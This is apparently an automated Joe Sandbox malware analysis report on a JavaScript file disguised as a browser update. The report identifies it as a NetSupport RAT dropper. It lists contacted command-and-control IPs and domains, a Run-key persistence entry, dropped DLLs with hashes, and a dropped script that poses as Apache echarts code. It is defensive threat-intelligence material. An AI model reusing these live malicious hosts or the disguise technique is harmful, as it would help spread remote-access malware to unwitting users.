https://github.com/apache/incubator-echarts/issues/11369	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/apache/echarts/issues/14266	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/layout/force.js	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jsperf.com/try-catch-performance-overhead	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jsbench.me/2vkpcekkvw/1)	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htm	client32.exe	false	Avira URL Cloud: safe	unknown
http://0.30000000000000004.com/	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1	client32.exe	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/time/scale.js	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/variableasCompositeOperati	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://momentjs.com/	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Events/mousewheel)	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/fakeurl.htm	client32.exe	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/globalsCompositeOperation	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/apache/incubator-echarts/issues/12229	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3-hierarchy/blob/4c1f038f2725d6eae2e49b61d01456400694bac4/src/tree.js	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://echarts.apache.org/examples/en/editor.html?c=custom-gantt-flight	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://graphics.ethz.ch/teaching/scivis_common/Literature/squarifiedTreeMaps.pdf	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ecomfe/zrender/blob/master/LICENSE.txt	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tc39.github.io/ecma262/#sec-daylight-saving-time-adjustment).	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/arrays/quantile.js	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/layout/treemap.js	wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
38.180.60.246	luxurycaborental.com	United States	174	COGENT-174US	true
94.158.245.103	unknown	Moldova Republic of	39798	MIVOCLOUDMD	false
104.26.1.231	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false
23.227.193.59	dfwreds.com	United States	29802	HVC-ASUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1473088
Start date and time:	2024-07-15 00:47:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Update 124.0.6367.158.js
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winJS@8/46@3/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 77% Number of executed functions: 161 Number of non-executed functions: 205
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1436 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Update 124.0.6367.158.js

Simulations

Behavior and APIs

Time	Type	Description
00:48:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run KOTLG C:\Users\user\AppData\Roaming\KYED2\client32.exe
00:48:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run KOTLG C:\Users\user\AppData\Roaming\KYED2\client32.exe
18:48:31	API Interceptor	42x Sleep call for process: powershell.exe modified
18:49:09	API Interceptor	3774949x Sleep call for process: client32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
38.180.60.246	http://luxurycaborental.com	Get hash	malicious	Unknown	Browse	luxurycaborental.com/favicon.ico
38.180.60.246	http://sherwoodhomeshow.com	Get hash	malicious	Unknown	Browse	sherwoodhomeshow.com/favicon.ico
94.158.245.103	updates.js	Get hash	malicious	NetSupport RAT	Browse	http://94.158.245.103/fakeurl.htm
94.158.245.103	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	http://94.158.245.103/fakeurl.htm
104.26.1.231	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SAPConcur.msix	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	HQuxVxuLV.ps1	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced Scanner.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	R6aeFGF7gU.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SecureClientInstaller.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	RECH31683168.lnk	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	IN___502HUSMW9N.LNK.lnk	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	112151121511215.lnk	Get hash	malicious	NetSupport RAT, NetSupport Downloader, MalLnk	Browse	geo.netsupportsoftware.com/location/loca.asp
	DE-18061806.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
23.227.193.59	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	beetrootculture.com/favicon.ico
23.227.193.59	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	beetrootculture.com/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
luxurycaborental.com	http://luxurycaborental.com	Get hash	malicious	Unknown	Browse	38.180.60.246
geo.netsupportsoftware.com	updates.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	17851032425.zip	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	q8m0iSxPqZ.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	q8m0iSxPqZ.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT, LummaC Stealer, NetSupport Downloader	Browse	172.67.68.212
	SAPConcur.msix	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	MDE_File_Sample_fb7baecc9f46e01492b4e3e6409d6c73f83a1169.zip	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	VtZtwUsgtrnEnlkxHy.ps1	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	yvM2XCEkGj.exe	Get hash	malicious	Raccoon Stealer v2	Browse	5.181.159.42
	updates.js	Get hash	malicious	NetSupport RAT	Browse	94.158.245.103
	xUtQLCJLoN.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	GsPg7N8T6N.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	ZNxa7TSWl4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	fj5cuMFGnv.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	J33Y3d3zTW.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	0ilcDpXPQz.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	fJky6Kh6w1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
	yhXB6bjiw5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.158.244.72
COGENT-174US	https://bet3659982.com/	Get hash	malicious	Unknown	Browse	149.104.32.172
	http://luxurycaborental.com	Get hash	malicious	Unknown	Browse	38.180.60.246
	https://dev-salmanislove.pantheonsite.io/swiss/CHFINAL/e8bf4/	Get hash	malicious	Unknown	Browse	38.98.69.175
	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	154.54.88.68
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	154.62.105.138
	185.208.158.215-x86-2024-07-14T08_54_06.elf	Get hash	malicious	Unknown	Browse	38.177.156.242
	185.208.158.215-mips-2024-07-14T08_54_05.elf	Get hash	malicious	Unknown	Browse	149.44.241.36
	BL.exe	Get hash	malicious	FormBook	Browse	154.41.249.52
	OrderPI.exe	Get hash	malicious	FormBook	Browse	38.47.232.178
HVC-ASUS	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse	23.227.193.59
	SecuriteInfo.com.Program.Unwanted.2818.3154.4230.exe	Get hash	malicious	Petite Virus	Browse	46.21.150.242
	DHL119040 receipt document,pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse	23.227.203.18
	502407267 RUAG FOODPLAZA.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	23.111.142.162
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	23.227.193.59
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	23.111.168.85
	http://beetrootculture.com	Get hash	malicious	Unknown	Browse	23.227.193.59
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	23.111.180.146
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	23.111.180.146
	https://www.dgccollectors.com/doc.php	Get hash	malicious	Unknown	Browse	199.167.144.130
CLOUDFLARENETUS	https://u3igv.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://hd8hgd.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://pub-a7421b540138434b870b5007b987444d.r2.dev/doc_start.html	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://7divfh.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	104.17.247.203
	https://j7gvd.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://rectifymainet.app/	Get hash	malicious	Unknown	Browse	172.64.155.119
	https://bet3659982.com/	Get hash	malicious	Unknown	Browse	104.26.7.244
	https://shell-shiny-spectrum.glitch.me/public/CcNfN0.HTM	Get hash	malicious	HTMLPhisher	Browse	172.66.41.9
	https://apply-for-apeal.netlify.app/index.html	Get hash	malicious	Unknown	Browse	104.18.17.5
	https://lnky.ru/rhrwt	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	updates.js	Get hash	malicious	NetSupport RAT	Browse
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
	Update_122.0.616.js	Get hash	malicious	NetSupport RAT	Browse
	BILL93607.js	Get hash	malicious	NetSupport RAT	Browse
	http://gg.gg/carzzz#fy	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
	BILL47189.js	Get hash	malicious	NetSupport RAT	Browse
C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL	updates.js	Get hash	malicious	NetSupport RAT	Browse
	Update 124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	Update_124.0.6367.158.js	Get hash	malicious	NetSupport RAT	Browse
	MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
	Update_122.0.616.js	Get hash	malicious	NetSupport RAT	Browse
	BILL93607.js	Get hash	malicious	NetSupport RAT	Browse
	http://gg.gg/carzzz#fy	Get hash	malicious	NetSupport RAT	Browse
	update.js	Get hash	malicious	NetSupport RAT	Browse
	BILL47189.js	Get hash	malicious	NetSupport RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\loca[1].htm

Download File

Process:	C:\Users\user\AppData\Roaming\KYED2\client32.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	16
Entropy (8bit):	3.077819531114783
Encrypted:	false
SSDEEP:	3:llD:b
MD5:	C40449C13038365A3E45AB4D7F3C2F3E
SHA1:	CB0FC03A15D4DBCE7BA0A8C0A809D70F0BE6EB9B
SHA-256:	1A6B256A325EEE54C2A97F82263A35A9EC9BA4AF5D85CC03E791471FC3348073
SHA-512:	3F203E94B7668695F1B7A82BE01F43D082A8A5EB030FC296E0743027C78EAB96774AB8D3732AFE45A655585688FB9B60ED355AEE4A51A2379C545D9440DC974C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	40.7357,-74.1724

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7642752
Entropy (8bit):	4.938882628874654
Encrypted:	false
SSDEEP:	49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQ0:f
MD5:	B890923C817F62797E4AD627B5F2B0F4
SHA1:	01ACDC69A2ED514AF4520200B065C4F4717822DB
SHA-256:	CAF471BA4EBB7C8084D96011AFF4A38151A5DDD0B0A6B814292570D9F600D8C4
SHA-512:	D7326B221B7CB8B9F059A27663B499422B92EF0EDFC99AF937202DA8EB0EB883E8B897F98B6F04ACDB5AF5E2FA8C2330412B6B7BECE3213F1649B7BCB0141A04
Malicious:	true
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC, Description: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js, Author: ditekSHen
Reputation:	low
Preview:	/. Licensed to the Apache Software Foundation (ASF) under one.* or more contributor license agreements. See the NOTICE file.* distributed with this work for additional information.* regarding copyright ownership. The ASF licenses this file.* to you under the Apache License, Version 2.0 (the.* "License"); you may not use this file except in compliance.* with the License. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing,.* software distributed under the License is distributed on an.* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY.* KIND, either express or implied. See the License for the.* specific language governing permissions and limitations.* under the License..*/..(function (globals, fixer) {. typeof exports === 'object2' && typeof module !== 'undefined' ? fixer(exports) :. typeof define === 'function' && define.amd ? define(['exports'], fixer) :. (globals = t

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1524
Entropy (8bit):	5.3897992647355615
Encrypted:	false
SSDEEP:	24:3eNn4SKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNmwr8HJYBlD3RB+j:ONn4SU4y4RQmFoUeCamfm9qr9tK8Nfm3
MD5:	8093ED5A8BD161DBC783038513DB52C7
SHA1:	C3FD9CAC1FA5B642C8A0726C978AB8617C8306B0
SHA-256:	F79F5290CE1CD9FA2E512A1835CFFC07179BF4A8CD57F18EC039A78C1398BAA4
SHA-512:	CB4827675C4822593FED7E57DF1BF63CF9A1BF40343E7EEBD53B3A07E0D8FC722888522528BF006B6D9765710258398F7871BE4AB49C943A61A1FD6D574B1551
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e...........8.....................X..............@..........H...............x..}...@..."~.u....... .System.IO.Compression.FileSystemH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Ut

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lssnfszl.x20.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zfal1paw.eqx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
